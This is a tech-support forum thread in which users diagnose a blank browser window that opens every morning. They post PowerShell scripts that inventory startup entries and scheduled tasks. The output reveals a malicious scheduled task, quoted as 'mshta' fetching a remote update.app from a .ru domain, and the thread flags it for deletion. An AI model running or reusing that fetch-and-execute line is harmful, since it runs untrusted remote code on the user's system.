Solved Blank Web site loads every morning

antspants · Sunday at 8:47 PM

Spunk said:
I just restored the image, but it included this popup.
It is more annoying then it is causing any harm. If no one has any ideas, I can live with it.

Persist. God only knows what it’s doing.

glasskuter · Sunday at 8:49 PM

Spunk said:
once I unzipped them to save the pictures, this started,

WHY. As soon as you unzipped those photos, there is no telling why kind of malware or code was inserted into your computer, just waiting on the user to perform the action that triggers it. I would be worried about that more than a blank browser window.

Spunk · Sunday at 9:08 PM

@garlin Attached is EV Windows logs/Security
No event 4688

garlin · Sunday at 9:12 PM

If you restored from backup, you have to repeat the steps to enable Auditing.

Process creation logging is NOT a default setting, it makes your Event Log grow much faster if left on for an extended period of time (like weeks & months).

antspants · Sunday at 9:17 PM

Spunk said:
I just restored the image, but it included this popup.
It is more annoying then it is causing any harm. If no one has any ideas, I can live with it.

antspants said:

Run this same way.

Powershell:

$Output = @()

# User Run Entries
$Output += "`r`n=== HKCU Run Entries ==="
$Output += (Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, Value | Out-String)

# Machine Run Entries
$Output += "`r`n=== HKLM Run Entries ==="
$Output += (Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, Value | Out-String)

# Scheduled Tasks - All Tasks with Key Info
$Output += "`r`n=== ALL Scheduled Tasks ==="

$AllTasks = Get-ScheduledTask | ForEach-Object {
    $Task = $_
    $Info = New-Object PSObject -Property @{
        TaskName      = $Task.TaskName
        Author        = $Task.Principal.UserId
        State         = $Task.State
        LastRunTime   = ($Task | Get-ScheduledTaskInfo).LastRunTime
        Actions       = ($Task.Actions | ForEach-Object { $_.Execute + " " + $_.Arguments }) -join "; "
        Triggers      = ($Task.Triggers | ForEach-Object { $_.StartBoundary }) -join "; "
    }
    $Info
}

$Output += ($AllTasks | Sort-Object TaskName | Format-Table -AutoSize | Out-String)

# Save to the current user's Desktop
$FilePath = [System.IO.Path]::Combine($env:USERPROFILE, "Desktop", "Startup_Check_Full.txt")
$Output | Out-File -FilePath $FilePath -Encoding UTF8

Write-Host "`nFull startup and task info saved to: $FilePath" -ForegroundColor Green

Sorry about the txt file.

At this point I don’t know if it’s worth it, but the txt file should now get saved to your desktop. Mine did but as I don’t have brave…

There is a script if you wanted to delve deeper. A lot of reading in the Desktop\Startup_Check_Full.txt though. But the idea is to find anything that doesn't look right. My Startup_Check_Full.txt had 630 lines to read.

It will explore:

HKCU & HKLM Run entries
All Scheduled Tasks
Startup Services – services set to auto-start
Running Startup Processes – things that are currently running that might be suspicious
Browser Auto-Start URLs (Brave, Chrome, Edge)

Powershell:

$Output = @()

# --------------------------
# 1. User Run Entries
# --------------------------
$Output += "`r`n=== HKCU Run Entries ==="
$Output += (Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, Value | Out-String)

# --------------------------
# 2. Machine Run Entries
# --------------------------
$Output += "`r`n=== HKLM Run Entries ==="
$Output += (Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, Value | Out-String)

# --------------------------
# 3. All Scheduled Tasks
# --------------------------
$Output += "`r`n=== ALL Scheduled Tasks ==="
$AllTasks = Get-ScheduledTask | ForEach-Object {
    $Task = $_
    $Info = New-Object PSObject -Property @{
        TaskName      = $Task.TaskName
        Author        = $Task.Principal.UserId
        State         = $Task.State
        LastRunTime   = ($Task | Get-ScheduledTaskInfo).LastRunTime
        Actions       = ($Task.Actions | ForEach-Object { $_.Execute + " " + $_.Arguments }) -join "; "
        Triggers      = ($Task.Triggers | ForEach-Object { $_.StartBoundary }) -join "; "
    }
    $Info
}
$Output += ($AllTasks | Sort-Object TaskName | Format-Table -AutoSize | Out-String)

# --------------------------
# 4. Startup Services
# --------------------------
$Output += "`r`n=== Startup Services (Auto-Start) ==="
$StartupServices = Get-Service | Where-Object {$_.StartType -eq "Automatic"} | Select-Object DisplayName, Status, StartType
$Output += ($StartupServices | Sort-Object DisplayName | Format-Table -AutoSize | Out-String)

# --------------------------
# 5. Currently Running Startup Processes
# --------------------------
$Output += "`r`n=== Currently Running Suspicious Processes (Filtered) ==="
$Running = Get-Process | Where-Object {
    $_.Path -and (
        $_.Path -like "*AppData*" -or
        $_.Path -like "*Temp*" -or
        $_.Path -like "*brave*" -or
        $_.Path -like "*.ru*" -or
        $_.Path -like "*update*" -or
        $_.Path -like "*.exe"
    )
} | Select-Object Name, Id, Path
$Output += ($Running | Sort-Object Name | Format-Table -AutoSize | Out-String)

# --------------------------
# 6. Browser Startup URLs (Brave, Chrome, Edge)
# --------------------------
$Output += "`r`n=== Brave/Chrome/Edge Startup URLs ==="

$BrowserStartupPaths = @(
    "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data\Default\Preferences",
    "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Preferences",
    "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Preferences"
)

foreach ($Path in $BrowserStartupPaths) {
    if (Test-Path $Path) {
        $Output += "`r`n--- Startup URLs in: $Path ---"
        $RawJson = Get-Content $Path -Raw
        $StartupUrls = ($RawJson | ConvertFrom-Json -ErrorAction SilentlyContinue).session.startup_urls
        if ($StartupUrls) {
            $Output += ($StartupUrls -join "`r`n")
        } else {
            $Output += "(No startup URLs found)"
        }
    }
}

# --------------------------
# Save to file
# --------------------------
$FilePath = [System.IO.Path]::Combine($env:USERPROFILE, "Desktop", "Startup_Check_Full.txt")
$Output | Out-File -FilePath $FilePath -Encoding UTF8

Write-Host "`nFull startup and task info saved to: $FilePath" -ForegroundColor Green

Spunk · Sunday at 9:44 PM

My User files, including Desktop have been Moved and redirected to F:\User folder. There is no Desktop folder under
C:\Users\UserName. there is nothing on Desktop or in Desktop folder
this is the output of your script

PS C:\WINDOWS\system32> $FilePath = [System.IO.Path]::Combine($env:USERPROFILE, "Desktop", "Startup_Check_Full.txt")
Out-File : Could not find a part of the path 'C:\Users\Spike Baron\Desktop\Startup_Check_Full.txt'.
At line:1 char:11
+ $Output | Out-File -FilePath $FilePath -Encoding UTF8
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OpenError: (:) [Out-File], DirectoryNotFoundException
+ FullyQualifiedErrorId : FileOpenFailure,Microsoft.PowerShell.Commands.OutFileCommand

[COLOR=rgb(184, 49, 47)]    + FullyQualifiedErrorId : FileOpenFailure,Microsoft.PowerShell.Commands.OutFileCommand[/COLOR]

PS C:\WINDOWS\system32>
PS C:\WINDOWS\system32> Write-Host "`nFull startup and task info saved to: $FilePath" -ForegroundColor Green

Full startup and task info saved to: C:\Users\Spike Baron\Desktop\Startup_Check_Full.txt

antspants · Sunday at 10:07 PM

Spunk said:
My User files, including Desktop have been Moved and redirected to F:\User folder

You moved them yourself?

My Desktop folder is also on the F: Drive.

Which script?

antspants · Sunday at 10:10 PM

Is yours F:\Users\YourUsername\user folders or just F:\Users\user folders?

Spunk · Sunday at 10:15 PM

F:\User no S or user name.
I moved them a long time ago using Location tab

antspants · Sunday at 10:21 PM

2nd script?

At the bottom (where it says Save to Desktop (Custom User Folder) change “Username” to whatever it is for you: F:\User\YourUsername\Desktop IF there is a username

If it’s just F:\User\Desktop then leave the following script as is (text file should appear on your desktop.)

Powershell:

$Output = @()

# --------------------------
# 1. User Run Entries
# --------------------------
$Output += "`r`n=== HKCU Run Entries ==="
$Output += (Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, Value | Out-String)

# --------------------------
# 2. Machine Run Entries
# --------------------------
$Output += "`r`n=== HKLM Run Entries ==="
$Output += (Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, Value | Out-String)

# --------------------------
# 3. All Scheduled Tasks
# --------------------------
$Output += "`r`n=== ALL Scheduled Tasks ==="
$AllTasks = Get-ScheduledTask | ForEach-Object {
    $Task = $_
    $Info = New-Object PSObject -Property @{
        TaskName      = $Task.TaskName
        Author        = $Task.Principal.UserId
        State         = $Task.State
        LastRunTime   = ($Task | Get-ScheduledTaskInfo).LastRunTime
        Actions       = ($Task.Actions | ForEach-Object { $_.Execute + " " + $_.Arguments }) -join "; "
        Triggers      = ($Task.Triggers | ForEach-Object { $_.StartBoundary }) -join "; "
    }
    $Info
}
$Output += ($AllTasks | Sort-Object TaskName | Format-Table -AutoSize | Out-String)

# --------------------------
# 4. Startup Services
# --------------------------
$Output += "`r`n=== Startup Services (Auto-Start) ==="
$StartupServices = Get-Service | Where-Object {$_.StartType -eq "Automatic"} | Select-Object DisplayName, Status, StartType
$Output += ($StartupServices | Sort-Object DisplayName | Format-Table -AutoSize | Out-String)

# --------------------------
# 5. Currently Running Suspicious Processes
# --------------------------
$Output += "`r`n=== Currently Running Suspicious Processes (Filtered) ==="
$Running = Get-Process | Where-Object {
    $_.Path -and (
        $_.Path -like "*AppData*" -or
        $_.Path -like "*Temp*" -or
        $_.Path -like "*brave*" -or
        $_.Path -like "*.ru*" -or
        $_.Path -like "*update*" -or
        $_.Path -like "*.exe"
    )
} | Select-Object Name, Id, Path
$Output += ($Running | Sort-Object Name | Format-Table -AutoSize | Out-String)

# --------------------------
# 6. Browser Startup URLs
# --------------------------
$Output += "`r`n=== Brave/Chrome/Edge Startup URLs ==="

$BrowserStartupPaths = @(
    "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data\Default\Preferences",
    "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Preferences",
    "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Preferences"
)

foreach ($Path in $BrowserStartupPaths) {
    if (Test-Path $Path) {
        $Output += "`r`n--- Startup URLs in: $Path ---"
        $RawJson = Get-Content $Path -Raw
        $StartupUrls = ($RawJson | ConvertFrom-Json -ErrorAction SilentlyContinue).session.startup_urls
        if ($StartupUrls) {
            $Output += ($StartupUrls -join "`r`n")
        } else {
            $Output += "(No startup URLs found)"
        }
    }
}

# --------------------------
# Save to custom Desktop path (F:\User\Desktop)
# --------------------------
$CustomDesktop = "F:\User\Desktop"
$FilePath = Join-Path $CustomDesktop "Startup_Check_Full.txt"
$Output | Out-File -FilePath $FilePath -Encoding UTF8

Write-Host "`nFull startup and task info saved to: $FilePath" -ForegroundColor Green

Spunk · Sunday at 10:35 PM

that got it.
No Startup URL's found in all browsers.

Oh well, pick this up again tomorrow.

antspants · Sunday at 10:48 PM

Scheduled Task

Code:

Author: Spike xxx
Action: mshta https ://that link.ru/update.app

Could run a remote-hosted script from a Russian domain directly on boot or login.

Dunno man…

Entry	Status
BraveUpdate.exe /ua	Safe (official auto-updater)
`mshta https :// that link.ru/...`	Malicious — delete scheduled task
F:\User\...REG ADD HKLM...bat	Suspicious — check contents OR is that Garlins BAT?
KMS.cmd	Potentially unsafe — delete unless you use KMS legitimately

cineman195 · Sunday at 10:55 PM

Can he not run 'Autoruns', find out the program and disable it ?

antspants · Sunday at 11:00 PM

cineman195 said:
Can he not run 'Autoruns', find out the program and disable it ?

What program?
That link I see as a remote issue, calling on an update of some kind? link.ru/update.app
I don’t know if there is an app/program on the PC, is there?
But there appears to be a scheduled task.

I don’t know. I have nothing else.

garlin · Sunday at 11:02 PM

antspants said:

Code:

# --------------------------
# 3. All Scheduled Tasks
# --------------------------
$Output += "`r`n=== ALL Scheduled Tasks ==="
$AllTasks = Get-ScheduledTask | ForEach-Object {
    $Task = $_
    $Info = New-Object PSObject -Property @{
        TaskName      = $Task.TaskName
        Author        = $Task.Principal.UserId
        State         = $Task.State
        LastRunTime   = ($Task | Get-ScheduledTaskInfo).LastRunTime
        Actions       = ($Task.Actions | ForEach-Object { $_.Execute + " " + $_.Arguments }) -join "; "
        Triggers      = ($Task.Triggers | ForEach-Object { $_.StartBoundary }) -join "; "
    }
    $Info
}
$Output += ($AllTasks | Sort-Object TaskName | Format-Table -AutoSize | Out-String)

The problem with AI code is it can be soooooo close, but maddeningly bad.

Replace

Code:

        TaskName      = $Task.TaskName

Code:

        URI      = $Task.URI

In order to properly delete a task, you need to know the full path.

pseymour · Sunday at 11:06 PM

@antspants Here's how you get the path of the desktop folder, no matter where it may roam.

[Environment]::GetFolderPath([Environment+SpecialFolder]::DesktopDirectory)

antspants · Sunday at 11:08 PM

Did I inadvertently add a delet function? I was going to but didn’t to my knowledge.
That txt file shows a scheduled task for the update.app. Is the worst I could see.

But OK.

Powershell:

$Output = @()

# --------------------------
# 1. User Run Entries
# --------------------------
$Output += "`r`n=== HKCU Run Entries ==="
$Output += (Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, Value | Out-String)

# --------------------------
# 2. Machine Run Entries
# --------------------------
$Output += "`r`n=== HKLM Run Entries ==="
$Output += (Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, Value | Out-String)

# --------------------------
# 3. All Scheduled Tasks
# --------------------------
$Output += "`r`n=== ALL Scheduled Tasks ==="
$AllTasks = Get-ScheduledTask | ForEach-Object {
    $Task = $_
    $Info = New-Object PSObject -Property @{
        URI        = $Task.URI
        Author        = $Task.Principal.UserId
        State         = $Task.State
        LastRunTime   = ($Task | Get-ScheduledTaskInfo).LastRunTime
        Actions       = ($Task.Actions | ForEach-Object { $_.Execute + " " + $_.Arguments }) -join "; "
        Triggers      = ($Task.Triggers | ForEach-Object { $_.StartBoundary }) -join "; "
    }
    $Info
}
$Output += ($AllTasks | Sort-Object TaskName | Format-Table -AutoSize | Out-String)

# --------------------------
# 4. Startup Services
# --------------------------
$Output += "`r`n=== Startup Services (Auto-Start) ==="
$StartupServices = Get-Service | Where-Object {$_.StartType -eq "Automatic"} | Select-Object DisplayName, Status, StartType
$Output += ($StartupServices | Sort-Object DisplayName | Format-Table -AutoSize | Out-String)

# --------------------------
# 5. Currently Running Suspicious Processes
# --------------------------
$Output += "`r`n=== Currently Running Suspicious Processes (Filtered) ==="
$Running = Get-Process | Where-Object {
    $_.Path -and (
        $_.Path -like "*AppData*" -or
        $_.Path -like "*Temp*" -or
        $_.Path -like "*brave*" -or
        $_.Path -like "*.ru*" -or
        $_.Path -like "*update*" -or
        $_.Path -like "*.exe"
    )
} | Select-Object Name, Id, Path
$Output += ($Running | Sort-Object Name | Format-Table -AutoSize | Out-String)

# --------------------------
# 6. Browser Startup URLs
# --------------------------
$Output += "`r`n=== Brave/Chrome/Edge Startup URLs ==="

$BrowserStartupPaths = @(
    "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data\Default\Preferences",
    "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Preferences",
    "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Preferences"
)

foreach ($Path in $BrowserStartupPaths) {
    if (Test-Path $Path) {
        $Output += "`r`n--- Startup URLs in: $Path ---"
        $RawJson = Get-Content $Path -Raw
        $StartupUrls = ($RawJson | ConvertFrom-Json -ErrorAction SilentlyContinue).session.startup_urls
        if ($StartupUrls) {
            $Output += ($StartupUrls -join "`r`n")
        } else {
            $Output += "(No startup URLs found)"
        }
    }
}

# --------------------------
# Save to custom Desktop path (F:\User\Desktop)
# --------------------------
$CustomDesktop = "F:\User\Desktop"
$FilePath = Join-Path $CustomDesktop "Startup_Check_Full.txt"
$Output | Out-File -FilePath $FilePath -Encoding UTF8

Write-Host "`nFull startup and task info saved to: $FilePath" -ForegroundColor Green

antspants · Sunday at 11:11 PM

pseymour said:
@antspants Here's how you get the path of the desktop folder, no matter it may roam.

[Environment]::GetFolderPath([Environment+SpecialFolder]::DesktopDirectory)

When I seen this comment:

Spunk said:
My User files, including Desktop have been Moved and redirected to F:\User folder. There is no Desktop folder under
C:\Users\UserName. there is nothing on Desktop or in Desktop folder
this is the output of your script

PS C:\WINDOWS\system32> $FilePath = [System.IO.Path]::Combine($env:USERPROFILE, "Desktop", "Startup_Check_Full.txt")
Out-File : Could not find a part of the path 'C:\Users\Spike xxx\Desktop\Startup_Check_Full.txt'.
At line:1 char:11
+ $Output | Out-File -FilePath $FilePath -Encoding UTF8
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OpenError: (:) [Out-File], DirectoryNotFoundException
+ FullyQualifiedErrorId : FileOpenFailure,Microsoft.PowerShell.Commands.OutFileCommand
[COLOR=rgb(184, 49, 47)] + FullyQualifiedErrorId : FileOpenFailure,Microsoft.PowerShell.Commands.OutFileCommand[/COLOR]

PS C:\WINDOWS\system32>
PS C:\WINDOWS\system32> Write-Host "`nFull startup and task info saved to: $FilePath" -ForegroundColor Green

Full startup and task info saved to: C:\Users\Spike xxx\Desktop\Startup_Check_Full.txt

I crapped my pants thinking I did a bad bad thing.
I just assumed that everyone (but me) has default user folders

antspants · Sunday at 11:13 PM

But thank you, both.

A caveat to change the path at the bottom… but your search and accomplish is better.

antspants · Sunday at 11:14 PM

I did test these (this time)

Solved Blank Web site loads every morning

Like a rolling drone.

My Computers

aka Mama Glass

My Computers

Well-known member

Attachments

My Computer

Well-known member

My Computer

Like a rolling drone.

My Computers

Well-known member

My Computer

Like a rolling drone.

My Computers

Like a rolling drone.

My Computers

Well-known member

My Computer

Like a rolling drone.

My Computers

Well-known member

Attachments

My Computer

Like a rolling drone.

My Computers

Well-known member

My Computer

Like a rolling drone.

My Computers

Well-known member

My Computer

who wants pizza?

My Computer

Like a rolling drone.

My Computers

Like a rolling drone.

My Computers

Like a rolling drone.

My Computers

Like a rolling drone.

My Computers